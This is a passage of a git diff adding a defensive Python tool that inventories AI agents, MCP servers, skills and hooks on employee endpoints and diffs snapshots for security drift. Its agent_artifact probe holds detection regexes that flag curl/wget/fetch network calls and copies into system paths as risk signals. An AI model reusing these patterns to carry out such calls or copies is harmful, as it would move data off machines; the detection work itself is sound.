an employee can audit the collector before it reports. +""" + +import argparse +import sys +from pathlib import Path +from typing import List, Optional + +from .catalog import Catalog +from .probes import ALL_PROBES +from .probes.openworld import PROVIDER_HOSTS, WEIGHTS +from .redact import DENY_PATH_PARTS, VALUE_BEARING_FLAGS +from .runner import discover, live_env + + +def main(argv: Optional[List[str]] = None) -> int: + parser = argparse.ArgumentParser( + prog="adr-discovery", + description="Inventory the AI tools and agents present on this endpoint.") + parser.add_argument("--output-dir", type=Path, default=None, + help="Directory to write the snapshot to (default: ./output)") + parser.add_argument("--dry-run", action="store_true", + help="Scan and print, but write nothing") + parser.add_argument("--explain", action="store_true", + help="Print exactly what is collected and what is redacted, then continue") + parser.add_argument("--json", action="store_true", help="Print the whole snapshot as JSON") + args = parser.parse_args(argv) + + if args.explain: + _explain() + + snapshot = discover(live_env()) + + if args.json: + print(snapshot.to_json()) + else: + _summarize(snapshot) + + if not args.dry_run: + target = args.output_dir or Path("output") + target.mkdir(parents=True, exist_ok=True) + path = target / ("discovery_%s.json" % snapshot.timestamp.replace(":", "").replace("-", "")) + path.write_text(snapshot.to_json()) + print("\nWrote %s" % path) + return 0 + + +def _explain() -> None: + catalog = Catalog.load() + print("=" * 78) + print("What this scan collects, and what it never does") + print("=" * 78) + print("\nProbes that will run:") + for probe_class in ALL_PROBES: + probe = probe_class(catalog) + print(" %-12s %s" % (probe.name, (probe_class.__doc__ or "").strip().splitlines()[0])) + print("\nCatalog version: %s (%d entries)" % (catalog.version, len(catalog.entries))) + print("\nNever collected:") + print(" - file contents, beyond allowlisted config keys") + print(" - environment variable values (names only)") + print(" - URL query strings, fragments and userinfo") + print(" - values of these flags: %s" % ", ".join(sorted(VALUE_BEARING_FLAGS))) + print(" - anything under: %s" % ", ".join(DENY_PATH_PARTS)) + print("\nOpen-world signals and weights:") + for name, weight in sorted(WEIGHTS.items(), key=lambda item: -item[1]): + print(" %-22s %.2f" % (name, weight)) + print(" provider hosts matched exactly: %s" % ", ".join(PROVIDER_HOSTS[:4]) + ", ...") + print() + + +def _summarize(snapshot) -> None: + print("\nADR Discovery - %s (%s)" % (snapshot.hostname, snapshot.platform)) + print("=" * 78) + by_kind = {} + for asset in snapshot.assets: + by_kind.setdefault(asset.kind, []).append(asset) + for kind in sorted(by_kind): + print("\n%s (%d)" % (kind, len(by_kind[kind]))) + for asset in by_kind[kind]: + factors = ",".join(asset.risk.get("factors", [])) + print(" %-28s %-10s %-12s %s%s" % ( + asset.name[:28], asset.version or "-", asset.confidence_band, + asset.liveness, (" [%s]" % factors) if factors else "")) + if snapshot.findings: + print("\nFindings (%d)" % len(snapshot.findings)) + for finding in snapshot.findings: + print(" %-24s %-8s %s" % (finding["finding"], finding["severity"], finding["name"])) + if snapshot.review_queue: + print("\nReview queue (%d) - probable AI, unclassified" % len(snapshot.review_queue)) + for item in snapshot.review_queue: + print(" %-32s %.2f %s" % (item["name"][:32], item["score"], ",".join(item["signals"]))) + print("\n%d assets, %d errors, %.0f ms" + % (snapshot.stats["asset_count"], snapshot.stats["error_count"], snapshot.stats["wall_ms"])) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/Discovery/adr_discovery/diff.py b/Discovery/adr_discovery/diff.py new file mode 100644 index 0000000..0fcc3ef --- /dev/null +++ b/Discovery/adr_discovery/diff.py @@ -0,0 +1,126 @@ +"""Stage 5: the delta, which is the output that actually matters. + +Discovery is a repeated function. An asset list is a spreadsheet; the change +between two of them is the security signal. +""" + +import hashlib +from typing import Any, Dict, Iterable, List, Tuple + +from .schema import DiscoveredAsset, DiscoverySnapshot + + +def config_fingerprint(asset: DiscoveredAsset) -> str: + """What a config change means for an asset, reduced to twelve characters. + + Every field is normalized rather than assumed: a null endpoint is a normal + thing for a stdio server to have, and it must not be able to take down the + comparison that produces the whole delta. + """ + risk = asset.risk or {} + network = asset.network or {} + payload = "|".join(str(value if value is not None else "") + for value in (asset.transport, risk.get("command"), risk.get("args"), + risk.get("pinned"), network.get("endpoint"))) + return hashlib.sha256(payload.encode()).hexdigest()[:12] + + +def diff_snapshots(previous: DiscoverySnapshot, current: DiscoverySnapshot, + allow_cross_host: bool = False) -> List[Dict[str, Any]]: + """Deltas between two snapshots of one endpoint. + + Order-stable by construction: ``diff(a, b)`` is the exact inverse of + ``diff(b, a)``, so a skewed clock cannot change what the delta says. + + Both inputs are validated first. Comparing two machines produces a delta + that looks authoritative and means nothing, and once these come from a fleet + store rather than from one host that is a single bad query away. + """ + if not allow_cross_host and previous.hostname != current.hostname: + raise ValueError("refusing to diff snapshots from different hosts: %s vs %s" + % (previous.hostname, current.hostname)) + before = _index(previous) + after = _index(current) + changes: List[Dict[str, Any]] = [] + + for asset_id in sorted(set(before) & set(after)): + old, new = before[asset_id], after[asset_id] + if (old.version or "") != (new.version or ""): + changes.append({"change": "version_changed", "asset_id": asset_id, "name": new.name, + "from": old.version, "to": new.version}) + if config_fingerprint(old) != config_fingerprint(new): + entry = {"change": "config_changed", "asset_id": asset_id, "name": new.name} + if bool(old.risk.get("pinned", True)) != bool(new.risk.get("pinned", True)): + # A pinned server edited to resolve at run time is a silent risk + # regression, and the reason config_changed alone is not enough. + entry["risk_delta"] = {"pinned": [old.risk.get("pinned"), new.risk.get("pinned")]} + changes.append(entry) + + gone = [before[key] for key in sorted(set(before) - set(after))] + arrived = [after[key] for key in sorted(set(after) - set(before))] + changes.extend(_pair_reinstalls(gone, arrived)) + return changes + + +def _index(snapshot: DiscoverySnapshot) -> Dict[str, DiscoveredAsset]: + """Index a snapshot by asset id, refusing an ambiguous one.""" + indexed: Dict[str, DiscoveredAsset] = {} + for asset in snapshot.assets: + if asset.asset_id in indexed: + raise ValueError("snapshot %s has duplicate asset_id %s" + % (snapshot.hostname, asset.asset_id)) + indexed[asset.asset_id] = asset + return indexed + + +def _pair_reinstalls(gone: List[DiscoveredAsset], arrived: List[DiscoveredAsset]) -> List[Dict[str, Any]]: + """A tool reinstalled through another package manager is one event.""" + changes: List[Dict[str, Any]] = [] + matched_old, matched_new = set(), set() + for old in gone: + for new in arrived: + if new.asset_id in matched_new: + continue + if (old.identity, old.owner, old.kind) == (new.identity, new.owner, new.kind): + changes.append({"change": "reinstalled", "asset_id": new.asset_id, + "from_asset_id": old.asset_id, "name": new.name, + "from_install_method": old.install_method, + "to_install_method": new.install_method}) + matched_old.add(old.asset_id) + matched_new.add(new.asset_id) + break + for old in gone: + if old.asset_id not in matched_old: + changes.append({"change": "disappeared", "asset_id": old.asset_id, "name": old.name, + "kind": old.kind}) + for new in arrived: + if new.asset_id not in matched_new: + changes.append({"change": "appeared", "asset_id": new.asset_id, "name": new.name, + "kind": new.kind, "risk": new.risk}) + return changes + + +def fleet_drift(pairs: Iterable[Tuple[str, List[Dict[str, Any]]]], + min_hosts: int = 10) -> List[Dict[str, Any]]: + """One fleet-level finding when the same new asset lands on many endpoints. + + Computable only centrally, and the earliest available signal of an AI + supply-chain event. Reported once, not once per endpoint. + """ + by_asset: Dict[str, Dict[str, Any]] = {} + for hostname, changes in pairs: + for change in changes: + if change.get("change") != "appeared": + continue + record = by_asset.setdefault(change["asset_id"], + {"name": change.get("name"), "hosts": set(), + "risk": change.get("risk") or {}}) + record["hosts"].add(hostname) + findings = [] + for asset_id, record in sorted(by_asset.items()): + if len(record["hosts"]) >= min_hosts: + findings.append({"finding": "fleet_fanout", "asset_id": asset_id, + "name": record["name"], "host_count": len(record["hosts"]), + "risk": record["risk"], + "severity": "high" if record["risk"].get("factors") else "medium"}) + return findings diff --git a/Discovery/adr_discovery/env.py b/Discovery/adr_discovery/env.py new file mode 100644 index 0000000..14dcc2a --- /dev/null +++ b/Discovery/adr_discovery/env.py @@ -0,0 +1,440 @@ +"""The injected view of the world a probe is allowed to see. + +A probe that calls ``Path.home()`` or shells out to ``ps`` cannot be pointed at +a known world, and is therefore unevaluable. Every probe takes a +:class:`DiscoveryEnv` instead: a filesystem root, an environment block, a +process table, a socket table, a Windows registry view, an HTTP prober and a +subprocess runner. In production these are backed by the live machine; in the +test corpus they are backed by a fixture directory. +""" + +import errno +import os +import re +import stat +from dataclasses import dataclass, field +from pathlib import Path +from typing import Any, Callable, Dict, List, Optional, Sequence, Tuple + +from .redact import is_denied + +#: ``${NAME}``, ``$NAME`` and ``%NAME%``, matched as whole tokens. +_VARIABLE = re.compile(r"\$\{([A-Za-z_][A-Za-z0-9_]*)\}" + r"|\$([A-Za-z_][A-Za-z0-9_]*)" + r"|%([A-Za-z_][A-Za-z0-9_]*)%") + +#: Ceiling on any single file read, so a hostile or merely enormous config +#: cannot exhaust memory on an employee laptop. +MAX_READ_BYTES = 1_000_000 + +#: Hard cap on directory descent, independent of what a caller asks for. +MAX_DEPTH = 8 + +#: Cap on entries visited in one walk, so a pathological tree cannot stall a scan. +MAX_WALK_ENTRIES = 20_000 + + +@dataclass(frozen=True) +class ProcessInfo: + """One row of the process table.""" + + pid: int + ppid: int + exe: str + argv: List[str] = field(default_factory=list) + cwd: str = "" + user: str = "" + start: str = "" + + +@dataclass(frozen=True) +class SocketInfo: + """One listening socket, attributed to a pid.""" + + pid: int + port: int + state: str = "LISTEN" + remote: str = "" + + +class ReadResult: + """Outcome of a bounded read. + + Carries raw bytes, because some of the things a probe reads are binary - + a macOS ``Info.plist`` is usually a binary plist, and decoding it to text + first destroys it. + """ + + __slots__ = ("data", "truncated", "error") + + def __init__(self, data: bytes = b"", truncated: bool = False, error: Optional[str] = None): + self.data = data + self.truncated = truncated + self.error = error + + @property + def text(self) -> str: + return self.data.decode("utf-8", "replace") + + def __bool__(self) -> bool: + return self.error is None + + +class DiscoveryEnv: + """The world a probe may observe. + + Paths passed to and returned from this class are *logical* - they look like + absolute paths on the target machine (``/Applications/Claude.app``). They + are resolved beneath ``root``, which is ``/`` in production. + """ + + def __init__( + self, + root: Path, + platform: str = "darwin", + home: str = "/Users/alice", + user: str = "alice", + env_vars: Optional[Dict[str, str]] = None, + processes: Sequence[ProcessInfo] = (), + sockets: Sequence[SocketInfo] = (), + registry: Sequence[Dict[str, str]] = (), + http: Optional[Callable[[int, str], Optional[Any]]] = None, + runner: Optional[Callable[[List[str], float], Tuple[int, str]]] = None, + case_insensitive: bool = False, + telemetry: Optional[Dict[str, str]] = None, + extra_users: Sequence[str] = (), + locations: Sequence[Dict[str, str]] = (), + scheduled_tasks: Sequence[Dict[str, Any]] = (), + preferences: Optional[Dict[str, Any]] = None, + policy: Optional[Dict[str, Any]] = None, + ): + self.root = Path(root) + self.platform = platform + self.home = home + self.user = user + self.env_vars = dict(env_vars or {}) + self.processes = list(processes) + self.sockets = list(sockets) + self.registry = list(registry) + self.case_insensitive = case_insensitive + #: catalog id -> ISO timestamp of the most recent session, from Sensor. + self.telemetry = dict(telemetry or {}) + self.extra_users = list(extra_users) + #: Filesystem roots that are on this machine but not of this OS - WSL + #: distributions, mounted container images. Each is + #: ``{"kind": "wsl", "name": "Ubuntu", "root": "/wsl/Ubuntu", "home": "/home/alice"}``. + #: A tool installed in one of these is present on the endpoint even + #: though no host path contains it. + self.locations = [dict(item) for item in locations] + #: Windows Task Scheduler entries, as the platform reports them. + self.scheduled_tasks = [dict(item) for item in scheduled_tasks] + #: macOS managed-preference domains, as delivered by MDM. A file-only + #: probe reports an MDM-managed fleet as having no policy at all. + self.preferences = dict(preferences or {}) + #: Tenant configuration: corporate domains, sensitive repositories. + #: Never hardcoded - one tenant's internal host is another's third party. + self.policy = dict(policy or {}) + self._http = http + self._runner = runner + #: Probes append error records here rather than raising. + self.errors: List[Dict[str, str]] = [] + #: Subprocess calls that had to be killed, for robustness assertions. + self.killed: List[List[str]] = [] + #: What the scan could not see, so a partial inventory is legible as one. + self.coverage: Dict[str, Any] = {} + + # -- path plumbing ---------------------------------------------------- + + def real(self, logical: str) -> Path: + """Map a logical absolute path to its location beneath ``root``.""" + text = self.expand(logical) + return self.root / text.lstrip("/\\").replace("\\", "/") + + def resolve_target(self, logical: str) -> Tuple[Optional[Path], Optional[str]]: + """Canonicalize a path and decide whether we are allowed to touch it. + + Two checks, and both have to run against the *resolved* target rather + than the path we were handed. A permitted path can be a symlink into a + denied one, and a relative segment inside a config can climb out of the + tree we were pointed at - in both cases the name we started from looks + entirely innocent. + """ + candidate = self.real(logical) + try: + resolved = Path(os.path.realpath(str(candidate))) + except (OSError, ValueError): + return None, "unresolvable path" + if not self._within_root(resolved): + return None, "outside discovery root" + requested = self.expand(logical) + if is_denied(requested): + # Asked for outright. Refused quietly: enumerating a home directory + # meets these constantly and each one is expected, not an event. + return None, "denied path" + if is_denied(self.logical(resolved)): + # Permitted on the way in, denied on the way out. That is the shape + # of a deliberate bypass, and it is worth saying out loud. + self.errors.append({"probe": "env", "path": requested, + "message": "refused: resolves into a denied path"}) + self.coverage.setdefault("denied", []).append(requested) + return None, "denied path" + return candidate, None + + def _within_root(self, resolved: Path) -> bool: + """True when a canonical path is still inside the tree we may read.""" + root = Path(os.path.realpath(str(self.root))) + if str(root) == os.sep: + return True + try: + resolved.relative_to(root) + return True + except ValueError: + return False + + def logical(self, real: Path) -> str: + """Map a path beneath ``root`` back to its logical form. + + Tolerant of symlinked prefixes - on macOS ``/var`` is a link to + ``/private/var``, so the same directory has two spellings and a naive + prefix strip leaks the fixture root into every install path. + """ + for base in (self.root, Path(os.path.realpath(str(self.root)))): + for candidate in (Path(real), Path(os.path.realpath(str(real)))): + try: + return "/" + str(candidate.relative_to(base)) + except ValueError: + continue + return str(real) + + def expand(self, logical: str) -> str: + """Expand ``~``, ``$VAR``, ``${VAR}`` and ``%VAR%`` in a single pass. + + Substituting one variable at a time by substring rewrites the *names* of + other variables: with PATH and PATH_EXTRA both set, ``$PATH_EXTRA`` + becomes ``/bin_EXTRA``. Whole tokens are matched instead, so the longest + name always wins because it is the token that was written. + """ + text = logical + if text.startswith("~"): + text = self.home + text[1:] + + def substitute(match): + name = match.group(1) or match.group(2) or match.group(3) + return self.env_vars.get(name, match.group(0)) + + return _VARIABLE.sub(substitute, text) + + def exists(self, logical: str) -> bool: + target, refusal = self.resolve_target(logical) + if refusal: + return False + try: + return target.exists() + except OSError: + return False + + def is_dir(self, logical: str) -> bool: + target, refusal = self.resolve_target(logical) + if refusal: + return False + try: + return target.is_dir() + except OSError: + return False + + def listdir(self, logical: str) -> List[str]: + """List a directory, tolerating anything that goes wrong.""" + target, refusal = self.resolve_target(logical) + if refusal: + return [] + try: + return sorted(entry.name for entry in target.iterdir()) + except OSError: + return [] + + def realpath(self, logical: str) -> str: + """Deref symlinks with loop protection, staying in logical space. + + Real-path resolution is the primary merge key, so a symlink chain that + never terminates has to fail closed rather than hang the scan. + """ + current = self.real(logical) + for _ in range(MAX_DEPTH * 5): + try: + if not current.is_symlink(): + break + target = os.readlink(str(current)) + except OSError: + break + if os.path.isabs(target): + # An absolute link target is a real path when it already lives + # under the root, and a logical one otherwise. In production the + # root is "/" and the two are the same thing. + candidate = Path(target) + inside = str(candidate).startswith(str(self.root)) + following = candidate if inside else self.real(target) + else: + # Resolve a relative target against the *canonicalized* parent. + # On a usrmerge system /bin is a symlink to usr/bin, so joining + # "../lib/node_modules/x" onto the literal parent yields + # /lib/node_modules/x while the same binary reached via + # /usr/bin yields /usr/lib/node_modules/x. Two spellings of one + # file produce two merge keys and the tool is counted twice. + parent = Path(os.path.realpath(str(current.parent))) + following = parent / target + try: + following = Path(os.path.normpath(str(following))) + except (OSError, ValueError): + break + if following == current: + break + current = following + canonical = Path(os.path.realpath(str(current))) + if not self._within_root(canonical): + # A link out of the tree resolves to nothing we may describe, so the + # path we were given is the most we can honestly report. + resolved = self.expand(logical) + elif is_denied(self.logical(canonical)): + # Reporting where a denied link points discloses the very path the + # deny-list exists to keep out of the output. + self.coverage.setdefault("denied", []).append(self.expand(logical)) + resolved = self.expand(logical) + else: + resolved = self.logical(current) + return resolved.lower() if self.case_insensitive else resolved + + def walk(self, logical: str, max_depth: int = 3): + """Depth- and count-bounded walk that never follows symlinked directories. + + A ceiling that fires is recorded. Silent truncation is indistinguishable + from an empty directory, and reads as coverage nobody actually has. + """ + base, refusal = self.resolve_target(logical) + if refusal or base is None or not base.is_dir(): + return + stack = [(base, 0)] + visited = set() + yielded = 0 + while stack: + directory, depth = stack.pop() + try: + marker = os.stat(str(directory)).st_ino + except OSError: + continue + if marker in visited: + continue + visited.add(marker) + try: + entries = sorted(directory.iterdir()) + except OSError: + continue + for entry in entries: + yielded += 1 + if yielded > MAX_WALK_ENTRIES: + self.errors.append({ + "probe": "env", "path": self.expand(logical), + "message": "walk truncated at %d entries" % MAX_WALK_ENTRIES}) + self.coverage.setdefault("truncated_walks", []).append(self.expand(logical)) + return + yield self.logical(entry), entry + if depth + 1 < min(max_depth, MAX_DEPTH): + try: + if entry.is_dir() and not entry.is_symlink(): + stack.append((entry, depth + 1)) + except OSError: + continue + + # -- bounded, hostile-input-safe reads -------------------------------- + + def read(self, logical: str, limit: int = MAX_READ_BYTES) -> ReadResult: + """Read a file with a byte ceiling, refusing anything that could block. + + Named pipes, devices and sockets are rejected outright: a probe that + opens a FIFO on a developer's machine hangs the entire scan. + """ + path, refusal = self.resolve_target(logical) + if refusal: + return ReadResult(error=refusal) + try: + info = os.lstat(str(path)) + except OSError as exc: + return ReadResult(error="stat: %s" % (exc.strerror or exc)) + if stat.S_ISLNK(info.st_mode): + try: + info = os.stat(str(path)) + except OSError as exc: + return ReadResult(error="stat: %s" % (exc.strerror or exc)) + if not stat.S_ISREG(info.st_mode): + return ReadResult(error="not a regular file") + try: + expected = os.stat(str(Path(os.path.realpath(str(path))))) + except OSError as exc: + return ReadResult(error="stat: %s" % (exc.strerror or exc)) + try: + handle = os.open(str(path), os.O_RDONLY | getattr(os, "O_NONBLOCK", 0)) + except OSError as exc: + if exc.errno in (errno.EACCES, errno.EPERM): + return ReadResult(error="permission denied") + return ReadResult(error="open: %s" % (exc.strerror or exc)) + # Checking a path and then opening it are two operations, and a symlink + # can be swapped between them. Compare what was actually opened against + # what was validated, so a swap is a refusal rather than a read. + try: + opened = os.fstat(handle) + except OSError as exc: + os.close(handle) + return ReadResult(error="fstat: %s" % (exc.strerror or exc)) + if (opened.st_dev, opened.st_ino) != (expected.st_dev, expected.st_ino): + os.close(handle) + self.errors.append({"probe": "env", "path": self.expand(logical), + "message": "refused: path changed between check and open"}) + return ReadResult(error="path changed during read") + try: + chunks = [] + total = 0 + # Read one byte past the ceiling so a file sitting exactly on it is + # reported whole rather than as truncated. + ceiling = limit + 1 + while total < ceiling: + block = os.read(handle, min(65536, ceiling - total)) + if not block: + break + chunks.append(block) + total += len(block) + truncated = total > limit + except OSError as exc: + return ReadResult(error="read: %s" % (exc.strerror or exc)) + finally: + os.close(handle) + return ReadResult(b"".join(chunks)[:limit], truncated) + + # -- injected services ------------------------------------------------ + + def http_get(self, port: int, path: str) -> Optional[Any]: + """Probe a localhost port. Returns parsed JSON, or None.""" + if self._http is None: + return None + try: + return self._http(port, path) + except Exception: + return None + + def run(self, argv: List[str], timeout: float = 2.0) -> Optional[str]: + """Run a command under a hard timeout. Returns stdout, or None. + + A timeout is recorded rather than raised: a binary that hangs on + ``--version`` must cost one timeout, not the scan. + """ + if self._runner is None: + return None + try: + code, out = self._runner(list(argv), timeout) + except TimeoutError: + self.killed.append(list(argv)) + return None + except Exception: + return None + return out if code == 0 else None + + def children_of(self, pid: int) -> List[ProcessInfo]: + return [process for process in self.processes if process.ppid == pid] diff --git a/Discovery/adr_discovery/net.py b/Discovery/adr_discovery/net.py new file mode 100644 index 0000000..6298248 --- /dev/null +++ b/Discovery/adr_discovery/net.py @@ -0,0 +1,50 @@ +"""Hostname handling shared by the probes. + +Substring matching on hosts is wrong in both directions: ``evilcorp.example`` +ends with ``corp.example`` and is not part of it, and ``api.openai.com.evil.test`` +contains ``api.openai.com`` and is not it. Both mistakes turn a tenant's +allow-list into an attacker's convenience. +""" + +from typing import Optional +from urllib.parse import urlsplit + + +def host_of(target: str) -> Optional[str]: + """Extract the hostname from a URL or a browser permission pattern. + + Delegated to a URL parser rather than split on the first colon, because a + bracketed IPv6 authority has colons inside it: hand-splitting turns + ``http://[::1]:8000/v1`` into ``[`` and quietly breaks every policy decision + that depends on the host. + """ + text = str(target or "").strip() + if not text: + return None + if "://" not in text: + text = "//" + text + try: + parts = urlsplit(text if "://" in text else "http:" + text) + host = parts.hostname + except ValueError: + host = None + if not host: + # A wildcard authority is not a valid URL host; take it literally. + host = text.split("://", 1)[-1].split("/", 1)[0] + host = host.lower().strip(".") + if host.startswith("*."): + host = host[2:] + return host or None + + +def domain_matches(host: Optional[str], domain: str) -> bool: + """True when ``host`` is ``domain`` or a subdomain of it, never a suffix of it.""" + if not host or not domain: + return False + host = host.lower().strip(".") + domain = domain.lower().strip(".") + return host == domain or host.endswith("." + domain) + + +def matches_any(host: Optional[str], domains) -> bool: + return any(domain_matches(host, domain) for domain in domains or ()) diff --git a/Discovery/adr_discovery/paths.py b/Discovery/adr_discovery/paths.py new file mode 100644 index 0000000..941abbe --- /dev/null +++ b/Discovery/adr_discovery/paths.py @@ -0,0 +1,113 @@ +"""Canonical install roots and install-method inference. + +Shared by the probes because ``asset_id`` depends on the install root, and an +install root that changes on every upgrade would destroy the diff that is the +module's actual output. +""" + +import posixpath +import re +from typing import Optional + +from .env import DiscoveryEnv + +#: Package-manager markers whose *next* path component is part of the root. +ROOT_MARKERS = ("Cellar", "node_modules", "pipx", "Programs", "venvs") + + +#: Path roots that belong to the machine rather than to a person. +SYSTEM_PREFIXES = ("/usr/", "/opt/", "/bin/", "/sbin/", "/Applications/", "/Library/", + "/var/", "/etc/", "/nix/", "/snap/", "/Program Files") + + +def is_descendant(path: str, base: str) -> bool: + """True when ``path`` is ``base`` or sits inside it. + + A raw prefix test says /dev/application lives under /dev/app, which quietly + extends one project's approvals to another project that merely shares the + first few letters of its name. + """ + if not path or not base: + return False + left = posixpath.normpath(str(path)).rstrip("/") + right = posixpath.normpath(str(base)).rstrip("/") + return left == right or left.startswith(right + "/") + + +def owner_of(path: str, env: DiscoveryEnv) -> str: + """Attribute a path to a user, so two profiles never merge into one asset. + + A system-wide install belongs to nobody in particular; attributing it to + whoever happened to run the scan invents an owner and splits the fleet view. + """ + text = str(path).replace("\\", "/") + parts = [part for part in text.split("/") if part] + if len(parts) >= 2 and parts[0] in ("Users", "home"): + return parts[1] + if any(text.startswith(prefix) for prefix in SYSTEM_PREFIXES): + return "system" + return env.user + + +def install_root(path: Optional[str]) -> Optional[str]: + """Canonical install root, with content-addressed store hashes collapsed. + + A Nix store path embeds a hash that changes on every rebuild. Letting it + into the asset identity would make each upgrade look like an uninstall + followed by a fresh install. + """ + if not path: + return None + parts = [part for part in str(path).split("/") if part] + if len(parts) >= 3 and parts[0] == "nix" and parts[1] == "store": + # A store path is --. Both the hash and the version + # change on upgrade, and letting either into the identity turns every + # upgrade into an uninstall followed by a fresh install. + name = parts[2].split("-", 1)[-1] + return "nix:" + re.sub(r"-\d[\w.+]*$", "", name) + for marker in ROOT_MARKERS: + if marker in parts: + index = parts.index(marker) + return "/" + "/".join(parts[: index + 2]) + return "/" + "/".join(parts[:-1]) if len(parts) > 1 else "/" + + +#: Path markers that identify how something was installed, most specific first. +#: Order matters: a uv tool lives under ~/.local, and a pipx venv under it too, +#: so the generic "native installer" rule has to come last. +METHOD_MARKERS = ( + ("/nix/store/", "nix"), + ("/cellar/", "brew"), + ("/homebrew/", "brew"), + ("/node_modules/", "npm"), + ("/pipx/", "pipx"), + ("/uv/tools/", "uv"), + ("/go/bin/", "go"), + ("/go/pkg/", "go"), + ("/.cargo/bin/", "cargo"), + ("/mise/installs/", "mise"), + ("/.asdf/installs/", "asdf"), + ("/applications/", "dmg"), + ("/programs/", "msi"), +) + + +def install_method(path: Optional[str], home: Optional[str] = None) -> str: + """Infer the install channel from where something lives. + + Channel drives remediation - a wrong answer sends the fix to the wrong + package manager - so the ordering above is part of the contract. + """ + if not path: + return "unknown" + lowered = str(path).lower() + if lowered.endswith(".appimage"): + return "appimage" + for marker, method in METHOD_MARKERS: + if marker in lowered: + return method + if home: + prefix = home.lower().rstrip("/") + if lowered.startswith(prefix + "/.local/bin/") or lowered.startswith(prefix + "/.local/share/"): + return "native" + return "unknown" diff --git a/Discovery/adr_discovery/probes/__init__.py b/Discovery/adr_discovery/probes/__init__.py new file mode 100644 index 0000000..3022530 --- /dev/null +++ b/Discovery/adr_discovery/probes/__init__.py @@ -0,0 +1,22 @@ +"""Probe families: tool-agnostic enumeration in Stage 0, catalog-aware in Stage 1.""" + +from .agent_artifact import AgentArtifactProbe +from .app import AppProbe +from .cli_agent import CliAgentProbe +from .extension import ExtensionProbe +from .identity import IdentityProbe +from .location import LocationProbe +from .mcp import McpProbe +from .openworld import OpenWorldProbe +from .process import ProcessProbe +from .runtime import RuntimeProbe +from .scheduler import SchedulerProbe + +#: Run order. Process observation lands before resolution so runtime evidence +#: can join the assets the static probes found. +ALL_PROBES = (McpProbe, CliAgentProbe, AppProbe, RuntimeProbe, ExtensionProbe, + AgentArtifactProbe, SchedulerProbe, IdentityProbe, LocationProbe, ProcessProbe) + +__all__ = ["ALL_PROBES", "AgentArtifactProbe", "AppProbe", "CliAgentProbe", "ExtensionProbe", "LocationProbe", + "IdentityProbe", "McpProbe", "OpenWorldProbe", "ProcessProbe", "RuntimeProbe", + "SchedulerProbe"] diff --git a/Discovery/adr_discovery/probes/agent_artifact.py b/Discovery/adr_discovery/probes/agent_artifact.py new file mode 100644 index 0000000..e3217f2 --- /dev/null +++ b/Discovery/adr_discovery/probes/agent_artifact.py @@ -0,0 +1,408 @@ +"""Skills, commands, hooks, plugins, rules and instruction files. + +The programmable surface of an installed agent. An inventory that records only +that Claude Code is installed cannot say what somebody taught it to do, and the +teaching is where the risk lives: a hook is arbitrary code on every turn, a +plugin can ship its own MCP servers, and an instruction file steers every +session in the repository. + +Bodies are never captured. A skill body holds business context and is not +inventory data; the path, the front matter and the line count are. +""" + +import posixpath +import re +from typing import Any, Dict, List, Optional, Tuple + +from ..base_probe import BaseProbe, Observation +from ..env import DiscoveryEnv +from ..redact import redact_url + +PROJECT_ROOTS = ("~/dev", "~/src", "~/workspace", "~/code") + +#: (relative path, kind, host application) for personal-scope surfaces. +PERSONAL_SURFACES = ( + ("~/.claude/skills", "skill", "claude-code"), + ("~/.claude/commands", "command", "claude-code"), + ("~/.claude/output-styles", "output_style", "claude-code"), + ("~/.claude/agents", "agent_definition", "claude-code"), + ("~/.codex/prompts", "command", "codex"), + ("~/.gemini/commands", "command", "gemini-cli"), + ("~/.cursor/agents", "agent_definition", "cursor"), + ("~/.codeium/windsurf/agents", "agent_definition", "windsurf"), +) + +#: Instruction files, by filename. AGENTS.md is read by thirty-plus agents; +#: the rest are one vendor each. +INSTRUCTION_FILES = { + "AGENTS.md": ("agents.md", None), + "CLAUDE.md": ("claude.md", "claude-code"), + "GEMINI.md": ("gemini.md", "gemini-cli"), + "copilot-instructions.md": ("copilot-instructions", "copilot"), + ".cursorrules": ("cursorrules-legacy", "cursor"), + ".windsurfrules": ("windsurfrules", "windsurf"), +} + +#: Settings files that can declare hooks, in precedence order. +SETTINGS_SCOPES = (("~/.claude/settings.json", "personal"), + (".claude/settings.json", "project"), + (".claude/settings.local.json", "project_local")) + +#: Hooks fire on lifecycle events. The list keeps growing, so an unrecognized +#: event is reported as unknown rather than dropped. +KNOWN_HOOK_EVENTS = frozenset({ + "SessionStart", "Setup", "SessionEnd", "UserPromptSubmit", "UserPromptExpansion", + "Stop", "StopFailure", "PreToolUse", "PostToolUse", "PostToolUseFailure", "PostToolBatch", + "PermissionRequest", "PermissionDenied", "SubagentStart", "SubagentStop", "TeammateIdle", + "TaskCreated", "TaskCompleted", "FileChanged", "CwdChanged", "ConfigChange", + "InstructionsLoaded", "WorktreeCreate", "WorktreeRemove", "Notification", "MessageDisplay", + "PreCompact", "PostCompact", "Elicitation", "ElicitationResult", +}) + +#: Body content is not captured, but a few shapes inside it are risk signals. +NETWORK_CALL = re.compile(r"(curl|wget|fetch|requests\.(get|post))\s[^\n]*?(https?://[^\s'\"]+)") +OUTSIDE_WRITE = re.compile(r"(cp|mv|rsync|scp)\s[^\n]*\s(~/Library|/Volumes/|//|/etc/)") + +MAX_BODY_BYTES = 200_000 + + +class AgentArtifactProbe(BaseProbe): + name = "agent_artifact" + + def collect(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + out.extend(self._personal_surfaces(env)) + out.extend(self._plugins(env)) + out.extend(self._projects(env)) + out.extend(self._hooks(env, env.expand("~/.claude/settings.json"), "personal")) + out.extend(self._personal_instructions(env)) + return out + + def _personal_instructions(self, env: DiscoveryEnv) -> List[Observation]: + """Instruction files that apply to every project, not just one.""" + out: List[Observation] = [] + for template, name in (("~/.claude/CLAUDE.md", "CLAUDE.md"), + ("~/.codex/AGENTS.md", "AGENTS.md"), + ("~/.gemini/GEMINI.md", "GEMINI.md")): + logical = env.expand(template) + if not env.exists(logical): + continue + fmt, host = INSTRUCTION_FILES[name] + out.append(self._instruction_file(env, logical, fmt, host, "personal")) + return out + + # -- skills, commands, styles, agent definitions ---------------------- + + def _personal_surfaces(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + for template, kind, host in PERSONAL_SURFACES: + base = env.expand(template) + out.extend(self._surface(env, base, kind, host, "personal")) + return out + + def _surface(self, env: DiscoveryEnv, base: str, kind: str, host: str, scope: str, + plugin: Optional[str] = None) -> List[Observation]: + if not env.is_dir(base): + return [] + out: List[Observation] = [] + if kind == "skill": + for name in env.listdir(base): + folder = posixpath.join(base, name) + manifest = posixpath.join(folder, "SKILL.md") + if not env.exists(manifest): + continue + out.append(self._skill(env, 